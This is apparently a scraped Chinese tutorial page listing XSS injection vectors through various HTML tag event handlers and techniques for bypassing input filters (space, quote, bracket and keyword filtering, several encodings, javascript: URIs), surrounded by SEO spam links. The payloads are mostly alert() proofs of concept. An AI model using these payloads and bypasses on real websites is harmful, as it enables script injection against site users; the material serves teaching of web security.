当前位置: 首页 > news >正文

wordpress安全配置百度关键词seo公司

wordpress安全配置,百度关键词seo公司,wordpress登录页面插件,网站地图类型xss攻击方式与绕过 文章目录 xss攻击方式与绕过XSS攻击方式1. script标签2. img标签3. input标签4. details标签5. svg标签6. select标签7. iframe标签8. video标签9. audio标签10. body标签11. textarea标签 常见绕过方式1. 空格过滤2. 引号过滤3. 括号过滤4. 关键词过滤5. 编…

xss攻击方式与绕过

文章目录

  • xss攻击方式与绕过
    • XSS攻击方式
      • 1. script标签
      • 2. img标签
      • 3. input标签
      • 4. details标签
      • 5. svg标签
      • 6. select标签
      • 7. iframe标签
      • 8. video标签
      • 9. audio标签
      • 10. body标签
      • 11. textarea标签
    • 常见绕过方式
      • 1. 空格过滤
      • 2. 引号过滤
      • 3. 括号过滤
      • 4. 关键词过滤
      • 5. 编码绕过
      • 6. url地址过滤
      • 7. 伪协议

本节参考了 XSS(跨站攻击),并且给予一些优化,相比于参考文章来说,这篇文章比较简单,在httponly和waf绕过方面不会涉及。下面就是对于参考文章的总结,也建议去阅读参考文章。

XSS攻击方式

1. script标签

<script>alert("xss");</script>

注释:这是最基本的XSS攻击形式。通过插入<script>标签,攻击者可以在受害者的浏览器上执行任意JavaScript代码。在这个例子中,它会显示一个警告框,显示消息"xss"。

2. img标签

<img src=1 onerror=alert("xss")>

注释:利用<img>标签的onerror事件。如果图片加载失败(例如,src设置为不存在的资源),则执行onerror中的JavaScript代码。

3. input标签

<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus=alert("xss")>
<input onclick=alert("xss")>
<input onmouseover=alert("xss")>

注释:通过在<input>标签的事件处理器中嵌入代码。例如,onblur事件在元素失去焦点时触发,onfocus在元素获得焦点时触发,onclick在点击时触发,onmouseover在鼠标悬停时触发。

4. details标签

<details ontoggle=alert("xss");>

注释:利用HTML5的<details>标签,当用户切换显示/隐藏详情时,触发ontoggle事件。

5. svg标签

<svg onload=alert("xss")>

注释:使用SVG图像格式的<svg>标签。onload事件在SVG加载完成时触发,可以用于执行恶意代码。

6. select标签

<select onfocus=alert("xss")></select>
<select onfocus=alert("xss") autofocus>

注释:在<select>标签中使用onfocus事件。当下拉列表获得焦点时,触发JavaScript代码。

7. iframe标签

<iframe onload=alert("xss")></iframe>

注释:利用<iframe>标签的onload事件。当iframe加载完成后,执行指定的JavaScript代码。

8. video标签

<video><source onerror=alert("xss")>

注释:通过<video>标签中的<source>元素的onerror事件。如果视频源文件加载失败,将执行错误处理代码。

9. audio标签

<audio src=1 onerror=alert("xss")>

注释:与<img>标签类似,这里使用<audio>标签的onerror事件来执行代码。如果音频文件加载失败,将触发onerror事件。

10. body标签

<body onload=alert("xss")>

注释:在HTML的<body>标签的onload事件中嵌入代码。当页面加载完成时,会执行此代码。

11. textarea标签

<textarea onfocus=alert("xss"); autofocus>

注释:使用<textarea>元素的onfocus事件。当文本区域获得焦点时,将执行指定的JavaScript代码。

常见绕过方式

1. 空格过滤

当空格被过滤了,可以用**/和注释符**代替空格,

<img/src="x"/onerror=alert(1);>
<img/**/src="x"/**/onerror=alert(1);>

2. 引号过滤

在html中可以不使用引号,在js中,可以用反引号代替单双引号

<img src=x onerror=alert(`xss`);>

3. 括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。(末尾有解释)

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

4. 关键词过滤

关键词过滤可能可以使用大小写绕过、双写绕过、字符串拼接绕过

<sCRiPt>alert(1);</sCrIpT>
<scrscriptipt>alert(1);</scrscriptipt>
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">  反引号代替单双引号

5. 编码绕过

使用Unicode、url、Ascii、hex、base64绕过

// Unicode
javasc&#x72;&#x69;pt:alert(/xss/)     (编码了r和i)
// url
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
// Ascii
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
// hex
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
// base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

6. url地址过滤

// 使用URL编码
// 十进制、八进制、十六进制IP
// 用//代替http://
// 使用中文句号代替英文点号

7. 伪协议

"><a href=javascript:alert(/xss/)>   o_n和<scr_ipt>过滤
http://www.laogonggong.com/news/41666.html

相关文章:

  • 做门户网站需要什么条件哈尔滨百度网络推广
  • 深圳网站建设费用郑州网站seo
  • 专业手机网站建设价格北京培训机构
  • 中山如何制作网站如何做网站
  • 网游推广广告优化师怎么学
  • 珠海企业网站制作公司网站权重如何查询
  • 如何查一个网站有没有做外链网络免费推广平台
  • 织梦个人网站模版石家庄网站建设seo公司
  • 做网站代刷能赚多少钱百度网页pc版登录
  • 做网站需要后端吗seo矩阵培训
  • 发布网站要搭建什么外贸网站平台都有哪些
  • 网站开发用原生最经典最常用的网站推广方式
  • fr后缀网站江北关键词优化排名seo
  • 丰金网络 做网站信息发布平台推广
  • 要求维护公司做网站整改的函永久免费客服系统有哪些软件
  • 在线旅游网站建设方案2345网址导航大全
  • 网站建设验收游戏推广员如何推广引流
  • 网络营销的六大新特征网站优化外包多少钱
  • 网页设计师的岗位职责富阳seo关键词优化
  • amazon国外网站武汉百捷集团百度推广服务有限公司
  • 电子商务网站建设策划书 服装 有详细数据库设计关键词网站推广
  • 新手做市场分析的网站百度app
  • 互联网信息服务平台入口网站优化师
  • 做海报找背景图有哪些网站国际新闻稿件
  • 深圳做企业网站多少钱谷歌seo快速排名软件首页
  • 校园网站建设的用处十大技能培训机构排名
  • 合优网招聘站长之家seo查询官方网站
  • 做电商的网站网站推广优化方案
  • 龙岗永湖网站建设百度百科入口
  • 手机网站建设seo 优化 服务